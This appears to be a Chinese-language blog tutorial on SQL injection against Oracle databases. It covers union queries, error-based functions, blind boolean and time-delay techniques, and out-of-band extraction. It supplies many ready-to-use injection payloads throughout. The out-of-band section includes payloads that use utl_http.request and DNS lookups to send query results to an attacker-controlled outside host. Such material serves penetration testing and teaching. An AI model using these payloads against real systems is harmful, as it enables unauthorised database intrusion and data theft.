oracle注入

Oracle数据库


Oracle数据库也是一种关系数据库,此数据库体量较大,一般与jsp网站联合

既然是关系数据库,肯定也是存在一些关系表,在Oracle数据库中,库的概念被淡化,强调用户

Oracle注入之联合查询


注入原理

其注入原理与MySQL一致,都是基于回显的注入,通过union all select来获取我们想要的数据

引入知识

dual表,此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上位满足查询条件而产生

与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual

涉及到的基本用法:

select * from all_tables 查询出所有的表

select * from user_tables 查询出当前用户的表

select*from all_tab_columns 查询出所有的字段

select*from user_tab_columns  查询出当前用户的字段

select*from v$version 查版本

在这里插入图片描述

 

rownum=1   (限制查询返回的总行数为一条)

对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。

我们可以用rownum<3来要求他输出2条数据

联合查询实现

这里直接用数据库查询来演示,打开所在位置,如下图

判断字段数,共4个字段,联合查询,下方出现一条空白数据,注意:与MSSQL联合查询类似,只能用null填充,如下

判断字段的数据类型,分别在null两侧添加单引号,第一个字段是整形,剩下的字段都是字符型,如下图

查询,当前表所属用户,相当于当前库,如下

获取数据表名,如下

获取字段名称,如下

获取关键列中的字段数据,如下

报错注入


在MySQL中我们知道有各种报错函数,比如XPATH报错,整形溢出报错之类的,那么在Oracle中存在那些报错函数呢?

dbms_xdb_version.checkin()函数

属于dbms_xdb_version下的checkin功能。此功能检入签出的VCR并返回新创建的版本的资源ID。

语法为:


 
 
  1. DBMS_XDB_VERSION .CHECKIN
  2. pathname VARCHAR2
  3. RETURN DBMS_XDB .resid_type;

pathname

签出资源的路径名。

payload:and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null

dbms_xdb_version.uncheckout()函数

用法与checkin一致,payload:and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null

dbms_xdb_version.makeversioned()函数

用法与checkin一致,payload:and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null

dbms_utility.sqlid_to_sqlhash()函数

用法与checkin一致,payload:and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null

ctxsys.drithsx.sn()函数

此函数去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)语法为:

and 1=ctxsys.drithsx.sn(1,(select user from dual))--
 
 

其他待测试函数


XMLType()函数

在使用这个的XMLType进行报错时,很多人不知道为什么要用CHR(60),通过ASCII查询可以看到,60:<58: ':',62:'>',查了下相关的API,发现的XMLType在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有替换函数替换成其他非空字符就可以。语法为:

and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--
 
 

utl_inaddr.get_host_name()函数

这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。语法为:

and 1=utl_inaddr.get_host_name((select user from dual))--

 
 

ordsys.ord_dicom.getmappingxpath()函数

语法为:and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
 
 

decode()函数

这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

 

语法为:

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
 
 

最后上个图

Oracle带外查询


Oracle带外查询有两种思路

第一种

使用Oracle发送HTTP请求,相关函数:utl_http.request(),需要自己搭建外网web服务器,并记录请求的日志信息,然后使用utl_http.request()向外网主机发送http请求,请求便携带了查询的结果信息。此处可以结合SSRF进行内网探测 ,或许这就是Oracle的ssrf。。。

poyload:http://xxx.xxx.xx.xx/xxx/selcet?suser=1&sname=1'  and 1=utl_http.request('http://XXXXXXXXXXX/'||(select banner from sys.v_$version where rownum=1)) --
 
 

第二种

使用Oracle发送DNS请求,相关函数:utl_inaddr.get_host_address()、utl_inaddr.get_host_name(),将查询结果拼接到域名下,并使用DNS记录解析日志

http://xxx.xxx.xx.xx/xxx/selcet?suser=1&sname=1' and (select utl_inaddr.get_host_address((select user from dual)||'.xxx.xxx') from dual)is not null--
 
 

理解:这两种方式应该对Oracle的版本有要求,应该与utl_inaddr.get_host_name()函数要求一致,11g之后需要网络访问权限

Oracle盲注


布尔盲注

在测试和漏洞挖掘中,并没有出现数据库报错信息,使用测试语句进行测试发现只能通过页面正常与否来判断SQL语句是否执行了,这种情况需要使用布尔盲注,盲注可以使用ASCII(),substr()这种通用组合获取数

常规思路

使用length()函数判断长度,使用ascii()和substr()函数猜解数据,判断用户名长度,如下图

猜解数据,如下图

其他方式

使用decode函数进行布尔盲注,substr(user,1,1)是条件,'B'是要遍历的位置(这里B是用户名的首字母),如果匹配便返回翻译值1,否则使用默认值0。

decode()函数用法。decode(条件,值1,翻译值1,值2,翻译值2,...值n,翻译值n,缺省值)

if(条件==值1)==>返回翻译值1,否则返回默认值

payload:http://xxx.xxx.xx.xx/?id=2'and 1=(select decode(substr(user,1,1),'B',(1),0) from dual) --+

使用instr进行布尔盲注,(select user from dual)是查询结果数据,instr会返回'B'位置数据在,查询结果中的位置,未找到便返回0,可以通过对‘SQL’位置进行遍历和迭代,获取到数据。类似MYSQL regexp注入的方法。

http://xxx.xxx.xx.xx/?id=2'and 1=(instr((select user from dual),'B')) --+

instr这种方式在应对重复字符时,只能返回第一个字符的位置,比如字符串'aabbcc',查找a只能返回1,那这样就查不到第二个相同字符,最后我们得到的返回值是a->1,b->3,c->5,但是我们根据lengtg()函数知道长度是6,那么就可以直接不全了2位置一定是a,如果是别的不可能查不到,也可以得出aabbcc

延迟注入

测试和漏洞挖掘中,通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),这个也是通过SQLMAP源码中发现的

DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)

实际用法如下

AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),1,1))>1) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),10) ELSE 7238 END)
 
 

而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库

实际用法如下

and 1=(select decode(substr(user,1,1),'B',(select count(*) from all_objects),0) from dual)--+
 
 

参考文章:https://www.cnblogs.com/pshell/articles/7473713.html

参考文章:https://www.freebuf.com/column/174974.html

参考书籍:《SQL注入攻击与防御》

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值